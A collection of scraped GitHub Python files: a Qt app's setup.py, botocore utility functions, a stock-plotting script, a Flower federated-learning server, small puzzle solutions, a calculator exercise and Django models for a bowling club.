+{"seq_id":"4254406001","text":"#!/usr/bin/env python3\nimport sys\nimport os\nimport shutil\nimport hazama\nfrom os.path import join as pjoin\nfrom glob import glob\nfrom setuptools import setup\nfrom distutils.sysconfig import get_python_lib\nfrom distutils.core import Command\nfrom distutils.errors import DistutilsExecError\nfrom distutils.spawn import find_executable, spawn\nfrom distutils.command.build import build\nfrom setuptools.command.install import install\nfrom distutils.command.clean import clean\n\n\nclass CustomBuild(build):\n sub_commands = [('build_qt', lambda self: True)] + build.sub_commands\n\n\nclass CustomInstall(install):\n _desktop_template = \"\"\"\n[Desktop Entry]\nVersion={ver}\nType=Application\nName=Hazama\nGenericName=Hazama\nComment=Writing diary\nComment[ja]=日記を書く\nComment[zh_CN]=写日记\nIcon=hazama\nExec=hazama\nNoDisplay=false\nCategories=Qt;Utility;\nStartupNotify=false\nTerminal=false\n\"\"\"\n\n def run(self):\n super().run()\n if sys.platform == 'win32':\n return\n\n entry_dir = pjoin(self.root, 'usr/share/applications/')\n svg_dir = pjoin(self.root, 'usr/share/icons/hicolor/scalable/apps/')\n png_dir = pjoin(self.root, 'usr/share/icons/hicolor/48x48/apps/')\n for i in (entry_dir, svg_dir, png_dir):\n os.makedirs(i, exist_ok=True)\n\n with open(entry_dir + 'Hazama.desktop', 'w') as f:\n f.write(self._desktop_template.strip().format(ver=hazama.__version__))\n f.write('\\n')\n\n shutil.copy('res/appicon/appicon-64.svg', svg_dir + 'hazama.svg')\n shutil.copy('res/appicon-48.png', png_dir + 'hazama.png')\n\n\nclass BuildQt(Command):\n description = 'build Qt files(.ts .ui .rc)'\n user_options = [('ts', 't', 'compile ts files only'),\n ('ui', 'u', 'compile ui files only'),\n ('rc', 'r', 'compile rc files only')]\n\n def initialize_options(self):\n # noinspection PyAttributeOutsideInit\n self.ts = self.ui = self.rc = False\n self.force = False\n\n def finalize_options(self): pass\n\n def run(self):\n methods = ('ts', 'ui', 'rc')\n opts = tuple(filter(lambda x: getattr(self, x), methods))\n if opts:\n self.force = True\n else:\n opts = methods # run all methods if no options passed\n\n for i in opts:\n getattr(self, 'compile_'+i)()\n\n def compile_ui(self):\n for src in glob(pjoin('hazama', 'ui', '*.ui')):\n dst = src.replace('.ui', '_ui.py')\n if self.force or (not os.path.isfile(dst) or\n os.path.getmtime(src) > os.path.getmtime(dst)):\n spawn(['pyside-uic', '--from-imports', '-o', dst, '-x', src])\n\n @staticmethod\n def compile_rc():\n spawn(['pyside-rcc', '-py3', pjoin('res', 'res.qrc'), '-o',\n pjoin('hazama', 'ui', 'res_rc.py')])\n\n @staticmethod\n def compile_ts():\n lang_dir = pjoin('build', 'lang')\n if not os.path.isdir(lang_dir):\n os.makedirs(lang_dir)\n\n lres = find_executable('lrelease-qt4') or find_executable('lrelease')\n if not lres:\n raise DistutilsExecError('lrelease not found')\n\n trans = [os.path.basename(i).split('.')[0] for i in\n glob(pjoin('translation', '*.ts'))]\n for i in trans:\n spawn([lres, pjoin('translation', i+'.ts'), '-qm', pjoin(lang_dir, i+'.qm')])\n\n # copy corresponding Qt translations to build/lang\n if sys.platform != 'win32':\n # linux have complete qt library, so don't include; ignore warnings when compile_rc\n return\n pyside_dir = pjoin(get_python_lib(), 'PySide')\n for i in trans:\n target = pjoin(lang_dir, 'qt_%s.qm' % i)\n if not os.path.isfile(target):\n print('copy to ' + target)\n shutil.copy(pjoin(pyside_dir, 'translations', 'qt_%s.qm' % i), target)\n\n\nclass UpdateTranslations(Command):\n description = 'Update translation files'\n user_options = []\n\n def initialize_options(self): pass\n\n def finalize_options(self): pass\n\n def run(self):\n spawn(['pyside-lupdate', pjoin('translation', 'lupdateguide')])\n\n\nclass BuildExe(Command):\n description = 'Call cx_Freeze to build EXE'\n user_options = []\n\n initialize_options = finalize_options = lambda self: None\n\n def run(self):\n spawn([sys.executable, pjoin('utils', 'setupfreeze.py'), 'build_exe'])\n # remove duplicate python DLL\n try:\n dll_path = glob(pjoin('build', 'python*.dll'))[0]\n os.remove(pjoin('build', 'lib', os.path.basename(dll_path)))\n except IndexError:\n pass\n\n\nclass Clean(clean):\n def run(self):\n super().run()\n for i in glob(pjoin('hazama', 'ui', '*_ui.py')):\n print('remove file: ' + i)\n os.remove(i)\n for i in ['build', pjoin('hazama', 'ui', 'res_rc.py')]:\n if os.path.isfile(i):\n print('remove file: ' + i)\n os.remove(i)\n elif os.path.isdir('build'):\n print('remove dir: ' + i)\n shutil.rmtree('build')\n\n\n# fix env variables for PySide tools\nif sys.platform == 'win32':\n os.environ['PATH'] += (';' + pjoin(sys.exec_prefix, 'Scripts') +\n ';' + pjoin(sys.exec_prefix, 'lib', 'site-packages', 'PySide'))\n\n\n# PySide installed by linux package manager will not recognized by setuptools, so requires not added.\nsetup(name='Hazama',\n author='krrr',\n author_email='guogaishiwo@gmail.com',\n version=hazama.__version__,\n description=hazama.__desc__,\n url='https://krrr.github.io/hazama',\n packages=['hazama', 'hazama.ui'],\n cmdclass={'build': CustomBuild, 'build_qt': BuildQt, 'install': CustomInstall,\n 'update_ts': UpdateTranslations, 'build_exe': BuildExe, 'clean': Clean},\n zip_safe=True,\n extras_require = {'packaging': ['cx_freeze']},\n entry_points={'gui_scripts': ['hazama = hazama:main_entry']})\n","repo_name":"krrr/Hazama","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":6042,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"61"}
+{"seq_id":"29148389605","text":"import logging\n\n\nfrom .exceptions import InvalidExpressionError, ConfigNotFound\nfrom .compat import json\nfrom .vendored import requests\n\n\nlogger = logging.getLogger(__name__)\nDEFAULT_METADATA_SERVICE_TIMEOUT = 1\nMETADATA_SECURITY_CREDENTIALS_URL = (\n 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'\n)\n\n\nclass _RetriesExceededError(Exception):\n \"\"\"Internal exception used when the number of retries are exceeded.\"\"\"\n pass\n\n\ndef normalize_url_path(path):\n if not path:\n return '/'\n return remove_dot_segments(path)\n\n\ndef remove_dot_segments(url):\n # RFC 2986, section 5.2.4 \"Remove Dot Segments\"\n output = []\n while url:\n if url.startswith('../'):\n url = url[3:]\n elif url.startswith('./'):\n url = url[2:]\n elif url.startswith('/./'):\n url = '/' + url[3:]\n elif url.startswith('/../'):\n url = '/' + url[4:]\n if output:\n output.pop()\n elif url.startswith('/..'):\n url = '/' + url[3:]\n if output:\n output.pop()\n elif url.startswith('/.'):\n url = '/' + url[2:]\n elif url == '.' or url == '..':\n url = ''\n elif url.startswith('//'):\n # As far as I can tell, this is not in the RFC,\n # but AWS auth services require consecutive\n # slashes are removed.\n url = url[1:]\n else:\n if url[0] == '/':\n next_slash = url.find('/', 1)\n else:\n next_slash = url.find('/', 0)\n if next_slash == -1:\n output.append(url)\n url = ''\n else:\n output.append(url[:next_slash])\n url = url[next_slash:]\n return ''.join(output)\n\n\ndef validate_jmespath_for_set(expression):\n # Validates a limited jmespath expression to determine if we can set a value\n # based on it. Only works with dotted paths.\n if not expression or expression == '.':\n raise InvalidExpressionError(expression=expression)\n\n for invalid in ['[', ']', '*']:\n if invalid in expression:\n raise InvalidExpressionError(expression=expression)\n\n\ndef set_value_from_jmespath(source, expression, value, is_first=True):\n # This takes a (limited) jmespath-like expression & can set a value based\n # on it.\n # Limitations:\n # * Only handles dotted lookups\n # * No offsets/wildcards/slices/etc.\n if is_first:\n validate_jmespath_for_set(expression)\n\n bits = expression.split('.', 1)\n current_key, remainder = bits[0], bits[1] if len(bits) > 1 else ''\n\n if not current_key:\n raise InvalidExpressionError(expression=expression)\n\n if remainder:\n if not current_key in source:\n # We've got something in the expression that's not present in the\n # source (new key). If there's any more bits, we'll set the key with\n # an empty dictionary.\n source[current_key] = {}\n\n return set_value_from_jmespath(\n source[current_key],\n remainder,\n value,\n is_first=False\n )\n\n # If we're down to a single key, set it.\n source[current_key] = value\n\n\nclass InstanceMetadataFetcher(object):\n def __init__(self, timeout=DEFAULT_METADATA_SERVICE_TIMEOUT,\n num_attempts=1, url=METADATA_SECURITY_CREDENTIALS_URL):\n self._timeout = timeout\n self._num_attempts = num_attempts\n self._url = url\n\n def _get_request(self, url, timeout, num_attempts=1):\n for i in range(num_attempts):\n try:\n response = requests.get(url, timeout=timeout)\n except (requests.Timeout, requests.ConnectionError) as e:\n logger.debug(\"Caught exception while trying to retrieve \"\n \"credentials: %s\", e, exc_info=True)\n else:\n if response.status_code == 200:\n return response\n raise _RetriesExceededError()\n\n def retrieve_iam_role_credentials(self):\n data = {}\n url = self._url\n timeout = self._timeout\n num_attempts = self._num_attempts\n try:\n r = self._get_request(url, timeout, num_attempts)\n if r.content:\n fields = r.content.decode('utf-8').split('\\n')\n for field in fields:\n if field.endswith('/'):\n data[field[0:-1]] = self.retrieve_iam_role_credentials(\n url + field, timeout, num_attempts)\n else:\n val = self._get_request(\n url + field,\n timeout=timeout,\n num_attempts=num_attempts).content.decode('utf-8')\n if val[0] == '{':\n val = json.loads(val)\n data[field] = val\n else:\n logger.debug(\"Metadata service returned non 200 status code \"\n \"of %s for url: %s, content body: %s\",\n r.status_code, url, r.content)\n except _RetriesExceededError:\n logger.debug(\"Max number of attempts exceeded (%s) when \"\n \"attempting to retrieve data from metadata service.\",\n num_attempts)\n # We sort for stable ordering. In practice, this should only consist\n # of one role, but may need revisiting if this expands in the future.\n final_data = {}\n for role_name in sorted(data):\n final_data = {\n 'role_name': role_name,\n 'access_key': data[role_name]['AccessKeyId'],\n 'secret_key': data[role_name]['SecretAccessKey'],\n 'token': data[role_name]['Token'],\n 'expiry_time': data[role_name]['Expiration'],\n }\n return final_data\n\n\ndef merge_dicts(dict1, dict2):\n \"\"\"Given two dict, merge the second dict into the first.\n\n The dicts can have arbitrary nesting.\n\n \"\"\"\n for key in dict2:\n if isinstance(dict2[key], dict):\n if key in dict1 and key in dict2:\n merge_dicts(dict1[key], dict2[key])\n else:\n dict1[key] = dict2[key]\n else:\n # At scalar types, we iterate and merge the\n # current dict that we're on.\n dict1[key] = dict2[key]\n\n\ndef parse_key_val_file(filename, _open=open):\n try:\n with _open(filename) as f:\n contents = f.read()\n return parse_key_val_file_contents(contents)\n except OSError as e:\n raise ConfigNotFound(path=filename)\n\n\ndef parse_key_val_file_contents(contents):\n final = {}\n for line in contents.splitlines():\n key, val = line.split('=', 1)\n key = key.strip()\n val = val.strip()\n final[key] = val\n return final\n","repo_name":"luckyjd/lms_edx","sub_path":"edx-ficus.3-3/python/lib/python2.7/site-packages/botocore-0.52.0-py2.7.egg/botocore/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7006,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"74118985475","text":"import yfinance as yf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass Object(object):\n pass\n\ndef CalcPercent(ticker, cpi, index):\n inflation = 0\n first = float(ticker.history['Close'][0])\n now = float(ticker.history['Close'][index])\n dividends = float(sum(ticker.history['Dividends'][0:index]))\n\n # Adjust the return by the cpi data\n if cpi:\n if index > len(cpi.history['Close'])-1:\n index = len(cpi.history['Close'])-1\n firstCpi = float(cpi.history['Close'][0])\n nowCpi = float(cpi.history['Close'][index])\n dividendsCpi = float(sum(cpi.history['Dividends'][0:index]))\n inflation = int(((nowCpi+dividendsCpi)/firstCpi)*100)\n return int(((now+dividends)/first)*100) - inflation\n\ndef MakePercent(ticker, cpi):\n percent = []\n for i in range(len(ticker.history)):\n percent.append(CalcPercent(ticker, cpi, i))\n return percent\n\ndef MakeTicker(name, cpi=None):\n ticker = Object()\n ticker.name = name\n ticker.ticker = yf.Ticker(name)\n # Date, Open, High, Low, Open, Close, Adj Close, Volume, Dividends, Stock Splits\n print('Getting Ticker: ' + name)\n ticker.history = ticker.ticker.history(period=\"8y\", interval=\"1d\")\n # Percentage of every (close + dividends) / starting close\n ticker.percent = MakePercent(ticker, cpi)\n return ticker\n\ndef PlotTickers(title, tickers):\n for i in range(len(tickers)):\n for j in range(len(tickers)-1):\n if tickers[j].percent[-1] < tickers[j+1].percent[-1]:\n tickers[j], tickers[j+1] = tickers[j+1], tickers[j]\n\n maxLabel = 0\n for t in tickers:\n if len(t.name) > maxLabel:\n maxLabel = len(t.name)\n\n plt.rcParams['font.family'] = 'monospace' \n for t in tickers:\n x = np.array(t.history.index)\n y = np.array(t.percent)\n plt.plot(x, y, label=t.name.ljust(maxLabel) + ' - ' + format(t.percent[-1])+'%')\n print(t.name.ljust(maxLabel), format(t.percent[-1])+'%')\n\n leg = plt.legend(loc='upper left')\n plt.grid()\n plt.title(title)\n plt.show()\n\n# List Maker Then Plot\ndef ListPlot(title, inputList, cpi):\n tmp = []\n for t in list(dict.fromkeys(inputList)):\n tmp.append(MakeTicker(t, cpi))\n PlotTickers(title, tmp)\n\n# Inflation Data\ncpi = MakeTicker('CPI')\n\n# Funds\nListPlot('List 1', ['VTI', 'VGT', 'VIG', 'SCHD'], cpi)\nListPlot('List 2', ['VUG', 'DGRO'], cpi)\nListPlot('List 3', ['FXAIX', 'FRLPX'], cpi)\nListPlot('List 4', ['VFIAX', 'VTIVX', 'FFIDX', 'VTI', 'QQQ'], cpi)\n","repo_name":"darrenhomme/yfinance-charts","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"7282980222","text":"\"\"\"Defines a custom Server.\"\"\"\n\nimport timeit\nfrom logging import INFO\nfrom typing import Optional\n\nfrom flwr.common.logger import log\nfrom flwr.server.client_manager import ClientManager, SimpleClientManager\nfrom flwr.server.history import History\nfrom flwr.server.server import Server\nfrom flwr.server.strategy import Strategy\n\n\nclass MyServer(Server):\n \"\"\"Custom Flower server.\n\n This customization of the server has the only scope to allow to start the training\n from a starting round different from 1. This is useful when you want to stop and\n restart the training (saving and loading the state obviously).\n \"\"\"\n\n def __init__(\n self,\n *,\n client_manager: Optional[ClientManager] = None,\n strategy: Optional[Strategy] = None,\n starting_round: int = 1,\n ) -> None:\n if client_manager is None:\n client_manager = SimpleClientManager()\n super().__init__(client_manager=client_manager, strategy=strategy)\n print(self.client_manager)\n self.starting_round = starting_round\n\n # overwriting\n def fit( # pylint: disable=too-many-locals\n self, num_rounds: int, timeout: Optional[float]\n ) -> History:\n \"\"\"Run federated averaging for a number of rounds.\"\"\"\n history = History()\n\n # Initialize parameters\n log(INFO, \"Initializing global parameters\")\n self.parameters = self._get_initial_parameters(timeout=timeout)\n if self.starting_round == 1:\n log(INFO, \"Evaluating initial parameters\")\n res = self.strategy.evaluate(\n self.starting_round - 1, parameters=self.parameters\n )\n if res is not None:\n log(\n INFO,\n \"initial parameters (loss, other metrics): %s, %s\",\n res[0],\n res[1],\n )\n history.add_loss_centralized(\n server_round=self.starting_round - 1, loss=res[0]\n )\n history.add_metrics_centralized(\n server_round=self.starting_round - 1, metrics=res[1]\n )\n\n # Run federated learning for num_rounds\n log(INFO, \"FL starting\")\n start_time = timeit.default_timer()\n\n # changed this\n # for current_round in range(1, num_rounds + 1):\n for current_round in range(\n self.starting_round, self.starting_round + num_rounds\n ):\n # Train model and replace previous global model\n res_fit = self.fit_round(\n server_round=current_round,\n timeout=timeout,\n )\n if res_fit is not None:\n parameters_prime, fit_metrics, _ = res_fit # fit_metrics_aggregated\n if parameters_prime:\n self.parameters = parameters_prime\n history.add_metrics_distributed_fit(\n server_round=current_round, metrics=fit_metrics\n )\n\n # Evaluate model using strategy implementation\n res_cen = self.strategy.evaluate(current_round, parameters=self.parameters)\n if res_cen is not None:\n loss_cen, metrics_cen = res_cen\n log(\n INFO,\n \"fit progress: (%s, %s, %s, %s)\",\n current_round,\n loss_cen,\n metrics_cen,\n timeit.default_timer() - start_time,\n )\n history.add_loss_centralized(server_round=current_round, loss=loss_cen)\n history.add_metrics_centralized(\n server_round=current_round, metrics=metrics_cen\n )\n\n # Evaluate model on a sample of available clients\n res_fed = self.evaluate_round(server_round=current_round, timeout=timeout)\n if res_fed is not None:\n loss_fed, evaluate_metrics_fed, _ = res_fed\n if loss_fed is not None:\n history.add_loss_distributed(\n server_round=current_round, loss=loss_fed\n )\n history.add_metrics_distributed(\n server_round=current_round, metrics=evaluate_metrics_fed\n )\n\n # Bookkeeping\n end_time = timeit.default_timer()\n elapsed = end_time - start_time\n log(INFO, \"FL finished in %s\", elapsed)\n return history\n","repo_name":"adap/flower","sub_path":"baselines/fedmlb/fedmlb/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":3287,"dataset":"github-code","pt":"61"}
+{"seq_id":"23555696811","text":"T = int(input())\r\nfor case in range(T):\r\n N = list(int(i) for i in input())\r\n \r\n for i in range(len(N)-1,0,-1):\r\n if (N[i-1]) > (N[i]):\r\n for j in range(i,len(N)):\r\n N[j] = 9\r\n N[i-1] -= 1\r\n \r\n while N[0] == 0:\r\n del N[0]\r\n \r\n num = \"\".join(str(x) for x in N)\r\n #print(S)\r\n outstr = \"Case #{}: \".format(case+1)\r\n print(outstr + num)\r\n ","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/247.py","file_name":"247.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71232455553","text":"from util.util_mysql import Questions, Answers, QuesCollections, AnsCollections, and_\n\n\ndef delete(qaid, uid, db):\n \"\"\"\n 自动判别问题、回答并删除\n :param qaid:ID\n :param uid:用户ID\n :param db:数据库对象\n :return state:删除操作状态 AnsDel:回答删除成功 QuesDel:问题删除成功 Error:失败\n \"\"\"\n if qaid[0] == 'A':\n return delet_ans(qaid, uid, db)\n elif qaid[0] == 'Q':\n return delet_ques(qaid, uid, db)\n else:\n return \"Error\"\n\n\ndef delet_ans(aid, uid, db):\n \"\"\"\n 删除回答及其收藏\n :param aid:问题ID\n :param uid:用户ID\n :param db:数据库对象\n :return state:删除操作状态\n \"\"\"\n isOwner = db.select(Answers, and_(Answers.aid == aid, Answers.uid == uid))\n if len(isOwner) != 0:\n db.delete(AnsCollections, AnsCollections.aid == aid)\n db.delete(Answers, Answers.aid == aid)\n state = \"AnsDel\"\n else:\n state = \"Error\"\n return state\n\n\ndef delet_ques(qid, uid, db):\n \"\"\"\n 删除问题函数\n :param qid:问题ID\n :param uid:用户ID\n :param db:数据库对象\n :return: state:删除操作状态\n \"\"\"\n isOwner = db.select(Questions, and_(Questions.qid == qid, Questions.uid == uid))\n if len(isOwner) != 0:\n flag = db.select(Answers.aid, Answers.qid == qid)\n flag = [item[0] for item in flag]\n db.delete(AnsCollections, and_(AnsCollections.aid == flag))\n db.delete(Answers, Answers.qid == qid)\n db.delete(QuesCollections, QuesCollections.qid == qid)\n db.delete(Questions, Questions.qid == qid)\n state = \"QuesDel\"\n else:\n state = \"Error\"\n return state\n","repo_name":"BarrieWang/CAU_Project","sub_path":"ask/delet.py","file_name":"delet.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"26410782111","text":"# Give the user the option to either enter two numbers and an operator,\n# display the answer to the equation,\n# and return a calculation that is written to a text file, \n# or read all of the equations from the text file and\n# print out all of the equations together with the results.\n# Use defensive programming to write this program in a manner that is robust and\n# handles unexpected events and user inputs.\n# Ensure that the program does not crash if a file does not exist,\n# and that the user is prompted again to enter the name of the file.\n\nimport os\n\n# Class that handles parsing of equations\nclass EquationParser:\n def __init__(self):\n # Dictionary mapping text operators to functions that handle those operators\n self.operators = {\"+\":self.add, \"-\":self.sub, \"*\":self.mult, \"/\":self.div} # Dictionary of operators\n \n # Functions for each operator, names are self explanatory.\n\n def add(self, a, b):\n return a + b\n \n def sub(self, a, b):\n return a - b\n \n def mult(self, a, b):\n return a * b\n \n def div(self, a, b):\n return a / b\n\n # Error checking\n # This function returns True if the given character is a supported operator\n def is_operator(self, operator):\n return True if self.operators.get(operator) else False\n\n # Casting so variables are treated as numbers not strings, and calculations are done properly.\n def parse_number(self, number):\n if \".\" not in number:\n return int(number)\n else:\n return float(number)\n\n # Parses a given string equation, handling errors\n def parse(self, equation):\n equation_split = equation.split(\" \")\n\n # Strip whitespace from both sides of every element\n equation_split = [x.strip() for x in equation_split]\n\n # If we don't have 3 parts, it's not a valid equation.\n if len(equation_split) != 3:\n print(\"Equations were in the wrong format! Each part of the equation needs to be separated by a space (e.g 4 * 2).\")\n return None\n\n # Extract the 3 values for clarity\n x, op, y = equation_split\n \n # Checks if the equation follows x + y format.\n is_valid = x.isnumeric() and self.is_operator(op) and y.isnumeric()\n \n if not is_valid:\n print(\"Equations were in the wrong format! Equations needs to be two numbers and an operator (e.g 4 * 2).\")\n return False\n\n x = self.parse_number(x)\n y = self.parse_number(y)\n\n # Get the operator function defined\n func = self.operators.get(op)\n\n return func(x, y)\n\n\nparser = EquationParser()\n\nprint(\"Would you like to read a (f)ile for the equations, or (m)anually input one?\")\n\n# Will loop until the user picks either f (file) or m (manual) equation input, handles all erroneous input\nwhile True:\n file_or_input = input(\"Choose f for file, m for manual: \")\n if \"f\" in file_or_input.lower() or \"m\" in file_or_input.lower():\n break\n else:\n print(\"Please enter a valid choice.\")\n\nif file_or_input.lower() == \"m\":\n # Let user input an equation they want the answer to\n while True:\n user_input = input(\"Equation: \")\n result = parser.parse(user_input)\n\n # If there is no result, i.e. None is returned, the equation isn't valid.\n if result:\n print(f\"{user_input} = {result}\")\n with open(\"calculation_results.txt\", \"a\") as f:\n f.write(f\"{user_input}\\n\")\n break\n else:\n print(\"Please enter a valid equation.\")\nelse:\n while True:\n # Let a user input a file with a list of equations that all need answers\n filename = input(\"Enter filename (with equations): \")\n # If the file doesnt't exist, loop until they input a correct filename, and tell them the folder to add the file\n if not os.path.isfile(filename):\n temp_variable = os.getcwd()\n print(f\"Not a valid file. Please check the file is in {temp_variable} and is a txt file. For example, 'equations.txt'\")\n else:\n break\n \n with open(filename, \"r\") as f:\n equations = f.readlines()\n \n equations = [x.strip() for x in equations]\n \n for equation in equations:\n result = parser.parse(equation)\n print(f\"{equation} = {result}\")","repo_name":"Asterisk555/HyperionDev","sub_path":"T24 - Defensive Programming/defensive calculator.py","file_name":"defensive calculator.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"32667184047","text":"\"\"\"\nLicense: Gpl v3\n\nleetcode-link: https://leetcode.com/problems/reverse-integer/ \n\"\"\"\n\n\nclass Solution:\n INT_32_MAX = 2147483647\n INT_32_MIN = -2147483648\n\n def reverse(self, num: int) -> int:\n if num >= -9 and num <= 9:\n return num\n num_digits = self.get_number_of_digits(num)\n reversed_num = 0\n original_num = num\n num = abs(num)\n while num_digits > 0:\n curr_last_digit = num % 10\n reversed_num += curr_last_digit * (10 ** (num_digits - 1))\n num = num // 10\n num_digits -= 1\n reversed_num = -1 * reversed_num if original_num < 0 else reversed_num\n if reversed_num < INT_32_MIN or reversed_num > INT_32_MAX:\n return 0\n return reversed_num\n\n def get_number_of_digits(self, num: int) -> int:\n count = 0\n num = abs(num)\n while num > 0:\n num = num // 10\n count += 1\n return count\n","repo_name":"gmreads/leetcode","sub_path":"question-lists/top-interview/7-reverse-integer.py","file_name":"7-reverse-integer.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"19720875724","text":"# 1\nword = input()\ntime = 0\nfor w in word:\n if 'A' <= w <= 'C':\n time += 3\n elif 'D' <= w <= 'F':\n time += 4\n elif 'G' <= w <= 'I':\n time += 5\n elif 'J' <= w <= 'L':\n time += 6\n elif 'M' <= w <= 'O':\n time += 7\n elif 'P' <= w <= 'S':\n time += 8\n elif 'T' <= w <= 'V':\n time += 9\n elif 'W' <= w <= 'Z':\n time += 10 \n\nprint(time)\n\n# 2\nal_list = ['ABC', 'DEF','GHI','JKL','MNO','PQRS','TUV','WXYZ']\nword = input()\ntime = 0\n\nfor w in word:\n for a in al_list:\n if w in a:\n time += 3 + al_list.index(a)","repo_name":"haeniKim/TIL","sub_path":"Algorithm/baekjoon/5622.py","file_name":"5622.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"37895591856","text":"import csv\nimport json\n\nopen(\"outputData.csv\", \"w\").close()\n\ndef main():\n\tdates = {}\n\terrorData = []\n\ti = 0\n\twith open('Resources/ScreenData.json') as json_file:\n\t\t#variable to ensure proper data order\n\t\tonOff = 'off'\n\n\t\tdata = json.load(json_file)\n\t\tstartTime = 0\n\n\t\tfor p in data['list']:\n\t\t\ti += 1\n\t\t\t#Check for errors in data order\n\t\t\tif(p['power'] == onOff):\n\t\t\t\tprint('On off at date: ' + p['date'] + ' time: ' + p['time'])\n\t\t\t\terrorData.append(i)\n\t\t\t\tcontinue\n\n\t\t\t#Set start time\n\t\t\tif (p['power'] == \"on\"):\n\t\t\t\tstartTime = int(p['sec'])\n\t\t\t\tonOff = 'on'\n\n\t\t\t#Calculate total time with start and end time\n\t\t\telif (p['power'] == \"off\"):\n\n\t\t\t\tdates[p['date']] = dates.setdefault(p['date'], 0) + (int(p['sec']) - startTime)/60\n\t\t\t\tonOff = 'off'\n\n\t\t\telse:\n\t\t\t\tprint('Power is not on or off')\n\n\n\t\t\t#print('Power: ' + p['power'])\n\t\t\t#print('Date: ' + p['date'])\n\t\t\t#print('Time: ' + p['time'])\n\t\t\t#print('')\n\n\twith open('outputData.csv', 'a') as f:\n\t\tfor key, value in dates.items():\n\t\t\tf.write(key + \",\" + str(value) + \"\\n\")\n\n\ti = -1\n\twith open(\"Resources/ScreenData.json\", \"r\") as f:\n\t\tlines = f.readlines()\n\twith open(\"Resources/ScreenData.json\", \"w\") as f:\n\t\tfor line in lines:\n\t\t\ti += 1\n\t\t\tif not i in errorData:\n\t\t\t\tf.write(line)\n\t\t\telse:\n\t\t\t\tprint(line)\n\n\n\n\nmain()\n","repo_name":"jamesweavr/DataParser","sub_path":"Py/screenData.py","file_name":"screenData.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"36312101705","text":"from django.db import models\r\n\r\n\r\nclass Zawodnik(models.Model):\r\n imie = models.CharField(max_length=20)\r\n nazwisko = models.CharField(max_length=20)\r\n plec = models.CharField(max_length=1, choices=[\r\n ('M', 'Mężczyzna'),\r\n ('K', 'Kobieta'),\r\n ('I', 'Coś innego'),\r\n ])\r\n pseudonim = models.CharField(max_length=20)\r\n nr_buta = models.IntegerField()\r\n nr_telefonu = models.IntegerField()\r\n # klub = models.ForeignKey(Klub, on_delete=models.CASCADE)\r\n\r\n def __str__(self):\r\n return self.imie + ' ' + self.nazwisko\r\n\r\n\r\n\r\nclass Klub(models.Model):\r\n nazwa = models.IntegerField(choices=[\r\n (1, 'Kręgle Club'),\r\n (2, 'Bilard Club'),\r\n (3, 'Dart Club'),\r\n (4, 'Brak')\r\n ])\r\n czlonkowie = models.ManyToManyField(Zawodnik, blank=True)\r\n\r\n def __str__(self):\r\n return str(self.get_nazwa_display())\r\n\r\n\r\nclass Tor(models.Model):\r\n dostepnosc = models.IntegerField(choices=[\r\n (1, 'Dostępny'),\r\n (2, 'Zajęty'),\r\n ])\r\n tor = models.IntegerField(choices=[\r\n (1, 'Krótki'),\r\n (2, 'Średni'),\r\n (3, 'Długi'),\r\n ])\r\n\r\n def __str__(self):\r\n return str(self.get_tor_display())\r\n \r\n\r\nclass Rezerwacja(models.Model):\r\n rezerwujacy = models.CharField(max_length=20, null=True)\r\n dzien = models.DateField(null=True) \r\n godziny = models.IntegerField(choices=[\r\n (1, '15:00'),\r\n (2, '16:00'),\r\n (3, '17:00'),\r\n (4, '18:00'),\r\n (5, '19:00'),\r\n (6, '20:00'),\r\n (7, '21:00'),\r\n (8, '22:00'),\r\n ], null=True)\r\n tor = models.ForeignKey(Tor, null=True, on_delete=models.CASCADE) \r\n osoby = models.IntegerField(choices=[\r\n (1, 1),\r\n (2, 2),\r\n (3, 3),\r\n (4, 4),\r\n (5, 5),\r\n\r\n ], null=True)\r\n\r\n def __str__(self):\r\n return self.rezerwujacy + ' ' + str(self.dzien) + ' ' + str(self.get_godziny_display()) + ' ' + 'Tor ' + str(self.tor) + ' ' + str(self.osoby) + 'os.'\r\n","repo_name":"danieel99/Django-Bowling","sub_path":"projekt/kregle/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
